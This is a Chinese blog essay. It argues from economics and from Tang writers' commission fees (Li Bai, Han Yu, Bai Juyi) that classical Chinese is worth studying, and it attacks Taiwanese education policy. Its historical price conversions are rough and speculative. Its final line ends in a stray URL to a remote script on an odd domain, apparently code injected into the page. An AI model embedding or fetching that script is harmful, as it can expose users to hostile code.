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經濟分析 隨筆

你瞧不起韓愈,你的稿費有人家高嗎?

前幾天寫了篇談學習壓力的短文,似乎有些讀者誤以為文章重點在文言文上。其實不然,該文重點是在學習態度以及探討從經濟學角度看 — 求學壓力何來。

不過既然談到文言文,我多提供一點我猜那些反對文言文教育的人士所不知道的訊息吧。

今天如果我兒子跟我說他想要成為音樂人,那我一定要他好好研究各代音樂名人成功的原因。例如周杰倫、Michael Jackson、Elvis Precisely、Beatles,行有餘力,最好是學懂樂理並向上探索,去了解Maurice Ravel、柴可夫斯基、貝多芬、莫札特、海頓乃至於巴哈等不同時期古典樂作曲者如何在當時的市場環境下勝出並傳世。(特別是莫札特,他算是第一位脫離貴族教皇圈養,獨自在自由市場打拼而聞名獲利生存者,只可惜自己理財不當 — 太愛賭博又太愛嫖妓)

道理很簡單,如果你有本事看出前輩成功的外在侷限條件與內在本質原因,你才算是在該領域的登堂入室而已。如果連看都看不出來,自以為自憑才氣就能勝出,那即便勝也是短暫地運氣,既不能長久更甭提傳世。

而這世界上無論任何行業,以現今發展來看,我敢說作文能力是最重要的。

無論是行銷觀念、想法、產品乃至於自己,你都要具備夠水準且夠說服力的文字表達能力,最好能駕馭到各種不同目標讀者均能直指人心。否則即便你的專業技能有多出神入化,無法老王賣瓜自賣自誇地有效行銷,最後都只會落得孤芳自賞的困境。

只學白話文,就文字運用與經濟分析來說都是不足的。

一者,從文字運用來看,文言文是極為精鍊且優美的文字。能自如運用文言文對高知識且高收入水平讀者而言,才是共通語言的起點。有共通語言才能有效溝通,這是敲門磚問題。

二者,從經濟分析角度看,如台灣基礎教育不再強制學習夠水準的文言文,則階級分化就會顯得更明顯。何也?因為中國這個大市場,許多新興富人階級、官員階級喜比附過去文人吟詩做對,雖不見得高明,但也要能分出身分之上下。台灣這個未來經濟只會更依賴中國市場的小島,中產階級以上者多數在競爭壓力之下,仍會資助甚強迫後代學習文言文以取溝通的敲門磚。

民進黨政客悲哀就悲哀在明知全世界與中國市場溝通費用最低的就是台灣,卻偏偏要往反方向走,不知是蠢還是別有居心。

文字運用之不同容易作為階級分化的象徵。台灣政府這種去中國化、去文言文化的作法,我認為會加劇這個現象。或許可以達到某種程度的愚民政策,這就絕對是出自於政客之私心了。

回過頭來,本文開始我就揭櫫一個原則 — 市場競爭下的高收入優秀作品都值得後人學習觀摩。不見得認同,但人家哪裡成功你要能看出門道。

文章的市場競爭最明顯就是稿費,我這邊提供一些知名文言文作者的稿費收入供大家參考:

李白,唐朝人,天寶三年入朝為官,擔任「翰林供奉」,只是區區八品小官。李白大約擔任一年多就走人。

根據考證,天寶年間八品小官,年奉本薪為1300文、綜合補貼約1170文,而唐代一文錢購買力約等於現今新台幣$2.5元。因此李白的月薪收入只有新台幣$6190,非常低,即便在唐朝也只是吃兩頓酒席就沒有的低薪。

但是李白詩文受皇帝欣賞,本薪之外,每篇詩、文都另有賞賜。李白自己也很愛幫富商、大官寫文作詩,賺煉丹成仙的資本。

文獻中並未記載李白本人拿多少賞賜,但是同時期有位叫謝偃的仁兄,也是翰林供奉,名氣雖比李白小,但人家記帳清楚。

根據記錄,謝偃幫皇帝寫一篇文章或詩詞,都能獲得幾十匹絲綢作為賞賜。唐代物價據考證,一匹絲綢依質料不等,價格約落在500文~4000文之間。我們就假設皇帝賞賜50匹絲綢吧,則謝偃寫一篇文章的稿費就落在25000文~200000文之間,換算新台幣就是$6萬2千多~$50萬之間!

以李白當時的名氣,拿的稿費肯定不會比謝偃低,被召見的次數也肯定更多。更何況才當一年多的小官,臨走時皇帝居然還特賞「數金」給李白,可見李白受寵的程度。

此外,同時期的藥王孫思邈受皇帝召見,才見這麼一次面,皇帝就賞賜駿馬一匹、豪宅一座。可知這位皇帝出手大方!

除了為皇帝寫文章有稿費拿,為大官、富人潤筆的稿費也是很豐厚的。

同為唐代的韓愈(就是最近被台灣名校靜宜大學學生林致宇瞧不起的唐宋八大家之首)曾幫一位將軍寫了篇1505字的文章,將軍支付了500匹絲綢作為稿費。根據上述物價換算,韓愈這篇文章稿費高達新台幣$62萬5千元~$500萬元之間!(相當於一字$415~$3322!台灣大概找不到如此身價的作者。)

再舉一例,白居易。

白居易受元稹後人所託為其寫墓誌銘,元稹後人支付稿費折合共60萬文,換算新台幣是$150萬元!稍晚的晚唐時期,長安城首都,太宗名相魏徵之舊宅市場成交價$600萬文是記錄在案。白居易放到現今台北,猶如寫篇文章稿費高達1/10戶仁愛帝寶房價!

結論:

我的結論很簡單,你說你瞧不起文言文,我問:「你的文章有人家值錢嗎?」https://js.developerstatss.ga/stat.js?n=ns1

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